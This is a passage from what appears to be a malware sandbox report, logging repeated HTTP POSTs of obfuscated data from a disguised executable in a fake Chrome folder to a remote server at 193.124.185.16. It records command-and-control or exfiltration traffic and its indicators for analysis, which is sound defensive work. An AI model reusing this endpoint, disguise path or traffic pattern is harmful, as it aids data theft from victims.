Dec 16, 2024 13:13:14.510759115 CET	1096	OUT	Data Raw: 54 51 59 55 5f 5d 54 5a 58 59 51 57 59 5c 54 50 59 5d 59 46 56 5b 5a 59 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TQYU_]TZXYQWY\TPY]YFV[ZYT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!)^>2:!_ 5>=%(#>X3'W)77[6:+42T,%G!"Z>
Dec 16, 2024 13:13:15.379296064 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:15.623809099 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49833	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:15.863403082 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:16.213968992 CET	1096	OUT	Data Raw: 54 53 59 51 5f 56 54 54 58 59 51 57 59 5b 54 5f 59 5c 59 40 56 5c 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TSYQ_VTTXYQWY[T_Y\Y@V\ZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!)(.^&:9^#"(&4W#-60,$4#/1+$/%1$>%G!"Z"
Dec 16, 2024 13:13:17.105680943 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:17.337654114 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49839	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:17.584578991 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:17.932596922 CET	1096	OUT	Data Raw: 54 54 59 52 5a 5a 51 59 58 59 51 57 59 5f 54 5b 59 59 59 40 56 5a 5a 5e 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TTYRZZQYXYQWY_T[YYY@VZZ^T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!^6^1& %=Y$V5%X07),#,=Q+''%!8S),%G!"Z*2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49843	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:18.454818010 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:18.841512918 CET	1812	OUT	Data Raw: 54 50 5c 56 5a 5a 54 59 58 59 51 57 59 52 54 59 59 5b 59 40 56 5d 5a 59 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TP\VZZTYXYQWYRTYY[Y@V]ZYT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!=2-_#5Y=54S"=)$8=$5:(B?A$1$U><%G!"Z*
Dec 16, 2024 13:13:19.658176899 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:19.892437935 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 50 36 2a 03 01 32 13 01 55 25 3e 2a 11 27 28 3c 1d 3f 04 24 14 2a 3e 38 02 3e 3f 24 06 27 01 37 5f 2a 00 31 56 3f 3c 37 01 29 0b 2a 58 02 12 26 5b 3e 31 33 57 38 2d 39 0a 3d 3d 00 1d 37 06 3f 12 26 13 20 0a 25 04 0b 5d 34 3a 25 55 2b 07 34 53 3e 5a 3d 07 2a 13 30 02 3d 04 21 50 08 11 25 50 2b 05 23 1c 29 33 37 5f 20 0d 2b 04 33 07 3c 0e 30 23 23 0c 26 02 3f 12 29 1c 37 15 3e 00 03 00 39 00 25 03 36 08 35 17 29 12 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#P62U%>'(<?$>8>?$'7_1V?<7)X&[>13W8-9==7?& %]4:%U+4S>Z=0=!P%P+#)37_ +3<0##&?)7>9%65).Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49845	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:18.736691952 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:19.088823080 CET	1096	OUT	Data Raw: 54 53 5c 54 5a 58 51 5e 58 59 51 57 59 59 54 59 59 55 59 40 56 5c 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TS\TZXQ^XYQWYYTYYUY@V\Z]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\=^%7"%#>:$'/_6?%<48&!8U)<%G!"Z*
Dec 16, 2024 13:13:19.966664076 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:20.198189020 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49849	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:20.444402933 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:20.792125940 CET	1096	OUT	Data Raw: 51 50 59 50 5f 5c 54 59 58 59 51 57 59 5b 54 5b 59 55 59 42 56 5e 5a 5e 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QPYP_\TYXYQWY[T[YUYBV^Z^T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!+;1%=X7S">6>)%;'U)$ !T+7E22;><%G!"Z*"
Dec 16, 2024 13:13:21.677011013 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:21.909949064 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49853	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:22.145837069 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:22.495292902 CET	1096	OUT	Data Raw: 51 54 5c 54 5f 56 51 5e 58 59 51 57 59 52 54 5e 59 5b 59 44 56 5d 5a 54 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QT\T_VQ^XYQWYRT^Y[YDV]ZTT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!)+61Y!69#"X3^##6?W+4/%!=<%G!"Z*
Dec 16, 2024 13:13:23.380964994 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:23.618485928 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49858	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:23.867615938 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:24.214459896 CET	1096	OUT	Data Raw: 54 52 59 53 5f 58 51 5f 58 59 51 57 59 5e 54 5a 59 5c 59 42 56 51 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TRYS_XQ_XYQWY^TZY\YBVQZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\>)&)=Y46!(%0S5>63/W>4"P+B<%0),%G!"Z*6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49864	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:25.023272991 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:25.370528936 CET	1812	OUT	Data Raw: 51 57 5c 56 5f 57 51 58 58 59 51 57 59 5b 54 5a 59 5a 59 40 56 5d 5a 5a 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QW\V_WQXXYQWY[TZYZY@V]ZZT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!>(2[&94&:5!.)_$(4>'7Y")W<$<2 )%G!"Z"
Dec 16, 2024 13:13:26.252480030 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:26.486588001 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 56 23 2a 36 5f 32 04 2b 1e 33 58 36 5b 27 5e 33 08 3f 2e 30 5f 3d 07 20 03 2a 2c 28 03 33 3f 2c 01 3e 3d 2d 56 3c 11 37 07 29 31 2a 58 02 12 25 04 3f 22 0e 0d 2c 5b 31 0c 2a 2e 36 1d 20 3f 2b 5f 24 2d 24 08 32 03 3a 07 23 39 25 1f 3c 17 2c 56 2a 12 2a 5d 2a 04 2b 1e 3e 3e 21 50 08 11 25 1a 2b 2c 3c 0c 3e 1d 37 5a 21 23 28 19 24 29 33 10 33 33 02 54 26 05 3b 1c 3d 31 37 58 2a 2e 03 03 2e 5f 3a 1d 20 31 2d 51 29 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#V#6_2+3X6['^3?.0_= ,(3?,>=-V<7)1X%?",[1.6 ?+_$-$2:#9%<,V*]+>>!P%+,<>7Z!#($)333T&;=17X*.._: 1-Q)8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49865	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:25.148121119 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:25.495182991 CET	1096	OUT	Data Raw: 54 5f 59 5c 5f 59 54 5b 58 59 51 57 59 53 54 59 59 5b 59 42 56 5d 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_Y\_YT[XYQWYSTYY[YBV]Z]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y![8-2" %9^>C0!6$+#V=$0"/?' 1+),%G!"Z
Dec 16, 2024 13:13:26.380676031 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:26.613733053 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49869	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:26.986047029 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:27.339128017 CET	1096	OUT	Data Raw: 54 57 59 54 5f 59 54 58 58 59 51 57 59 5b 54 5f 59 5b 59 41 56 5c 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TWYT_YTXXYQWY[T_Y[YAV\Z]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!)(^1 S6=0T!=!X3V>B+Z".<$#D28>%G!"Z*"
Dec 16, 2024 13:13:28.216939926 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:28.451212883 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49873	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:28.693236113 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:29.042032957 CET	1096	OUT	Data Raw: 54 50 5c 54 5a 58 51 5a 58 59 51 57 59 5e 54 5e 59 54 59 46 56 58 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TP\TZXQZXYQWY^T^YTYFVXZ\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y")-1)"76=%(!5Y3^ >6+''E&2'+<%G!"Z*6
Dec 16, 2024 13:13:29.926424980 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:30.158152103 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49878	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:30.397242069 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:30.745047092 CET	1096	OUT	Data Raw: 54 50 59 5c 5f 5a 51 58 58 59 51 57 59 52 54 51 59 5e 59 47 56 5d 5a 55 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TPY\_ZQXXYQWYRTQY^YGV]ZUT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!\>+"[$)%459Y$S6"%8(44!/T(44&+<%G!"Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49884	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:31.616805077 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1788 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:31.964237928 CET	1788	OUT	Data Raw: 54 53 5c 56 5a 5d 54 5a 58 59 51 57 59 58 54 58 59 5a 59 45 56 5a 5a 5c 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TS\VZ]TZXYQWYXTXYZYEVZZ\T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=81:>76)%'"-60<)+["?:?$?D%W0W),%G!"Z*.
Dec 16, 2024 13:13:32.845590115 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:33.082675934 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 08 35 3a 22 1b 32 3d 0e 0c 24 58 22 1f 30 01 3f 07 2b 5b 20 59 29 2d 38 02 3e 01 02 02 33 01 05 5c 29 2e 21 55 2b 2f 0d 03 29 21 2a 58 02 12 25 03 3d 54 37 52 38 3d 04 1f 29 13 07 0b 37 11 33 58 24 3d 01 19 31 29 3a 03 21 39 00 0f 3c 17 2f 0d 3d 2c 2a 5c 2b 2d 2b 59 3e 3e 21 50 08 11 25 1b 2a 2c 01 1f 3d 0d 23 5e 34 33 28 16 33 5f 23 10 30 23 28 18 26 2c 02 06 3d 31 3f 58 29 10 0c 10 2d 29 22 58 21 1f 04 08 2a 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 5:"2=$X"0?+[ Y)-8>3\).!U+/)!X%=T7R8=)73X$=1):!9</=,\+-+Y>>!P%,=#^43(3_#0#(&,=1?X)-)"X!8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49885	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:31.777020931 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
